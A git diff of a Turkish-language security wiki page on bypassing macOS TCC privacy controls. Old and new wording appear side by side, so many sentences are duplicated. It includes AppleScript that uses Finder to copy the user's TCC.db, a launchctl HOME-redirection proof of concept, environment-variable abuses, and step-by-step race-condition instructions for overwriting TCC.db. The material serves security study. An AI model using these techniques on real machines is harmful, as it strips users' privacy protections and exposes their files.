Bu gerçek bir ayrıcalık yükseltme olduğunu düşünmüyorum, ama yine de faydalı bulabilirsiniz: FDA'ya sahip bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize herhangi bir erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme ihtimaliniz olduğunda kalıcılık tekniği olarak faydalı olabilir. Bu gerçek bir yükseltme değil gibi geliyor, ama yine de faydalı olabileceğini düşünüyorum: FDA'ya sahip bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize herhangi bir erişim verebilirsiniz**. Bu FDA izinlerinizi kaybedebileceğiniz durumlarda kalıcılık tekniği olarak kullanışlı olabilir.
### **SIP Atlatma ile TCC Atlatma** ### **SIP Atlatma ile TCC Atlatma**
Sistem **TCC veritabanı** SIP tarafından korunur, bu yüzden yalnızca belirtilen ayrıcalıklara sahip işlemler onu **değiştirebilecek**. Bu nedenle, bir saldırgan bir **SIP atlatma** bulursa (SIP tarafından kısıtlanmış bir dosyayı değiştirebilme), şunları yapabilir: Sistem **TCC veritabanı** **SIP** tarafından korunmaktadır, bu nedenle yalnızca belirtilen ayrıcalıklara sahip işlemler bunu **değiştirebilecek**. Bu nedenle, bir saldırgan bir **SIP atlatma** bulursa (SIP tarafından kısıtlanmış bir dosyayı değiştirebilme), şunları yapabilir:
* Bir TCC veritabanının korumasını **kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir: * Bir TCC veritabanının **korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir:
* TCC sistem veritabanı * TCC sistem veritabanı
* REG.db * REG.db
* MDMOverrides.plist * MDMOverrides.plist
Ancak, bu **SIP atlatmayı TCC'yi atlatmak için** kullanmanın başka bir seçeneği vardır, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, TCC istisnası gerektiren uygulamaların bir izin listesidir. Bu nedenle, bir saldırgan bu dosyanın **SIP korumasını kaldırabilir** ve **kendi uygulamasını ekleyebilirse**, uygulama TCC'yi atlayabilir.\ Ancak, bu **SIP atlatmayı TCC'yi atlatmak için kullanmanın başka bir seçeneği** var, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, TCC istisnası gerektiren uygulamaların izin listesidir. Bu nedenle, bir saldırgan bu dosyadan **SIP korumasını kaldırabilir** ve kendi **uygulamasını ekleyebilirse**, uygulama TCC'yi atlayabilir.\
Örneğin terminal eklemek için: Örneğin terminal eklemek için:
```bash ```bash
# Get needed info # Get needed info
@ -603,8 +603,8 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,11 +2,11 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@ -55,7 +55,7 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu
![](<../../../../../.gitbook/assets/image (569).png>) ![](<../../../../../.gitbook/assets/image (569).png>)
İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığının örnekleri: İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığını gösteren örnekler:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@ -65,21 +65,21 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu
### Uzantıları İşleme - CVE-2022-26767 ### Uzantıları İşleme - CVE-2022-26767
Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı dosyayı **çift tıklattığında** varsayılan uygulama ile açtığında ayarlanır. Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine **sürükleyip bıraktığınızda** veya bir kullanıcı bir dosyayı **çift tıklattığında** varsayılan uygulama ile açtığında ayarlanır.
Bu nedenle, bir kullanıcı **tüm uzantıları ele alacak kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir). Bu nedenle, bir kullanıcı **tüm uzantıları işlemek için kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir).
### iCloud ### iCloud
**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmak mümkündür ve bu hizmet **iCloud belgelerini sağlayacaktır**. **`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurulabilir ve bu hizmet **iCloud belgelerini sağlayabilir**.
**iMovie** ve **Garageband** bu ayrıcalığa sahipti ve diğerleri de sahipti. **iMovie** ve **Garageband** bu ayrıcalığa sahipti ve diğerleri de sahip olabilir.
Bu ayrıcalıktan **iCloud belgelerini almak** için bir açıdan daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) Bu ayrıcalıktan **iCloud belgelerini almak için** kullanılan açıktan daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Otomasyon ### kTCCServiceAppleEvents / Otomasyon
**`kTCCServiceAppleEvents`** iznine sahip bir uygulama **diğer Uygulamaları kontrol edebilecektir**. Bu, diğer Uygulamalara verilen izinleri **kötüye kullanabileceği anlamına gelir**. **`kTCCServiceAppleEvents`** iznine sahip bir uygulama **diğer Uygulamaları kontrol edebilir**. Bu, diğer Uygulamalara verilen izinleri **kötüye kullanabileceği** anlamına gelir.
Apple Betikleri hakkında daha fazla bilgi için kontrol edin: Apple Betikleri hakkında daha fazla bilgi için kontrol edin:
@ -93,7 +93,7 @@ Apple Betikleri hakkında daha fazla bilgi için kontrol edin:
#### iTerm Üzerinde #### iTerm Üzerinde
FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir: FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve onu kullanarak işlemler gerçekleştirebilir:
{% code title="iterm.script" %} {% code title="iterm.script" %}
```applescript ```applescript
@ -113,7 +113,7 @@ osascript iterm.script
``` ```
#### Finder Üzerinden #### Finder Üzerinden
Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik olabilir: Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik çalıştırabilir:
```applescript ```applescript
set a_user to do shell script "logname" set a_user to do shell script "logname"
tell application "Finder" tell application "Finder"
@ -129,8 +129,8 @@ do shell script "rm " & POSIX path of (copyFile as alias)
Kullanıcı alanı **tccd daemon**'ı, TCC kullanıcı veritabanına erişmek için **`HOME`** **env** değişkenini kullanır: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** Kullanıcı alanı **tccd daemon**'ı, TCC kullanıcı veritabanına erişmek için **`HOME`** **env** değişkenini kullanır: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
[Şu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'ının mevcut kullanıcının etki alanı içinde `launchd` aracılığıyla çalıştırıldığından, **tüm çevre değişkenlerini kontrol etmek mümkündür**.\ [Şu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemonı mevcut kullanıcının etki alanı içinde `launchd` aracılığıyla çalıştığından, **tüm çevre değişkenlerini kontrol etmek mümkündür**.\
Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek üzere ayarlayabilir, **TCC** daemon'ını **yeniden başlatabilir** ve ardından TCC veritabanını **doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman soru sormadan yetkilendirebilir.\ Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek için ayarlayabilir, **TCC** daemonını **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman sormadan.\
PoC: PoC:
```bash ```bash
# reset database just in case (no cheating!) # reset database just in case (no cheating!)
@ -166,28 +166,28 @@ Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğund
### CVE-2021-30782 - Taşınma ### CVE-2021-30782 - Taşınma
`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesiyle birlikte `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu. `/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesi ile `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu.
"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`**'ye eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü. "Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`** olarak eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü.
### CVE-2023-38571 - Müzik ve TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a> ### CVE-2023-38571 - Müzik ve TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**'e bırakılan dosyaları **ithal eder**. Ayrıca şuna benzer bir şey çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır: **`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** bırakılan dosyaları **ithal eder**. Ayrıca şunu çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` * `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` * `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**'na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür. Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür.
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422 ### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
Eğer **`SQLITE_SQLLOG_DIR="yol/klasör"`** ise temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi **dosya adındaki sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazıldı**. **`SQLITE_SQLLOG_DIR="yol/klasör"`** ise temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi dosya adındaki bir **sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazılır**.
**Daha fazla bilgi** [**yazılııklamada**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). **Daha fazla bilgi** [**yazılımda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
### **SQLITE\_AUTO\_TRACE** ### **SQLITE\_AUTO\_TRACE**
Eğer **`SQLITE_AUTO_TRACE`** çevresel değişkeni ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü. Eğer **`SQLITE_AUTO_TRACE`** ortam değişkeni ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.
Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullanmaktadır. Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullanmaktadır.
```bash ```bash
@ -198,23 +198,23 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en önemlisi `Music` programıdır, FDA'ya sahiptir. Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en önemlisi `Music` programıdır, FDA'ya sahiptir.
Aşağıdakini ayarlayarak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="yol/ad"` Eğer `yol` geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz: Aşağıdaki ayarı yapmak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizin ise, hata tetiklenecek ve programda neler olup bittiğini görmek için `fs_usage` kullanabiliriz:
* `open()` ile `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya açılacak * `open()` ile `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya açılacak
* bir veya daha fazla `write()` içeriği dosyaya yazacak (bunu kontrol etmiyoruz) * bir veya daha fazla `write()` işlemi içeriği dosyaya yazacak (bunu kontrol etmiyoruz)
* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/ad` olarak yeniden adlandırılacak * `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/name` olarak yeniden adlandırılacak
Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde `rename(eski, yeni)` gerçekleşir.** Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde** **`rename(eski, yeni)`** işlemi gerçekleşir.
Bu güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi** gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu olan `renameat_internal()`'a bakabilirsiniz. Bu güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi** gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu olan `renameat_internal()`'ı kontrol edebilirsiniz.
{% hint style="danger" %} {% hint style="danger" %}
Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişim sağlayabilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir. Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişmesini veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açmasını ve bir FD saklamasını sağlayabilir.
Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmiş veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz. Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmiş veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.
{% endhint %} {% endhint %}
Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için: Bu, CVE'deki saldırıydı: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için şunları yapabiliriz:
* `/Users/hacker/ourlink`'i `/Users/hacker/Library/Application Support/com.apple.TCC/`'ye işaret edecek şekilde oluşturun * `/Users/hacker/ourlink`'i `/Users/hacker/Library/Application Support/com.apple.TCC/`'ye işaret edecek şekilde oluşturun
* `/Users/hacker/tmp/` dizinini oluşturun * `/Users/hacker/tmp/` dizinini oluşturun
@ -223,10 +223,10 @@ Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını ü
* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgele) * `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgele)
* burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinizde tutun * burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinizde tutun
* `/Users/hacker/tmp`'yi atomik olarak `/Users/hacker/ourlink` ile **bir döngü içinde değiştirin** * `/Users/hacker/tmp`'yi atomik olarak `/Users/hacker/ourlink` ile **bir döngü içinde değiştirin**
* bunu başarılı olma şansımızı maksimize etmek için yapıyoruz çünkü yarış penceresi oldukça dar, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı var * bunu yapmamızın nedeni, yarış penceresinin oldukça dar olması nedeniyle başarılı olma şansımızı maksimize etmek, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı vardır
* biraz bekleyin * biraz bekleyin
* şanslı olup olmadığımızı test edin * şanslı olup olmadığımızı test edin
* değilse, tekrar en baştan çalıştırın * değilse, tekrar en baştan başlayın
Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
@ -236,15 +236,15 @@ Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-mac
### Apple Uzak Masaüstü ### Apple Uzak Masaüstü
Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni **TCC kullanıcı veritabanını kopyalamasını** sağlayabileceği şekilde kötüye kullanılabilir. Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni bir **TCC kullanıcı veritabanı** kopyalamasını sağlamak için kötüye kullanılabilir.
## **NFSHomeDirectory** ile ## **NFSHomeDirectory** ile
TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının **$HOME/Library/Application Support/com.apple.TCC/TCC.db**'deki kullanıcıya özgü kaynaklara erişimi kontrol etmesini sağlar.\ TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının **$HOME/Library/Application Support/com.apple.TCC/TCC.db** yolundaki kullanıcıya özgü kaynaklara erişimi kontrol etmek için kullanılır.\
Bu nedenle, kullanıcı, TCC'yi **farklı bir klasöre işaret eden $HOME çevresel değişkeni ile yeniden başlatmayı başarırsa**, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db**'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir. Bu nedenle, kullanıcı, TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermek için kandırabilecek şekilde **farklı bir klasöre işaret eden $HOME çevresel değişkeniyle TCC'yi yeniden başlatmayı başarırsa**, yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC izni vermek için kandırabilir.
{% hint style="success" %} {% hint style="success" %}
Apple, **`NFSHomeDirectory`** özelliğinde saklanan ayarları kullanır ve **`$HOME`** değerini belirlemek için kullanıcının profilindeki ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlaştırabilirsiniz**. Apple, `$HOME` değerinin **`NFSHomeDirectory`** özniteliğinde saklanan ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren izinlere sahip bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlandırabilirsiniz**.
{% endhint %} {% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a> ### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
@ -262,31 +262,31 @@ Apple, **`NFSHomeDirectory`** özelliğinde saklanan ayarları kullanır ve **`$
5. Kullanıcının _tccd_'sini durdurun ve işlemi yeniden başlatın. 5. Kullanıcının _tccd_'sini durdurun ve işlemi yeniden başlatın.
**İkinci POC**, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`**'yi kullanıyordu.\ **İkinci POC**, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`**'yi kullanıyordu.\
Bir saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırabilirse, özel bir **Yükleme Paketi belirleyebilir**. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirir. Saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırarak özel bir **Bağlayıcı yüklemesi** belirleyebilirdi. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştiriyordu.
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakın. Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakın.
## İşlem enjeksiyonu ile ## İşlem enjeksiyonu ile
Bir işleme kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır: Bir işlem içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:
{% content-ref url="../../../macos-proces-abuse/" %} {% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/) [macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %} {% endcontent-ref %}
Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentileri (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\ Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentiler (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\
Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kod da buna sahip olacaktır**. Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kodun da olacaktır**.
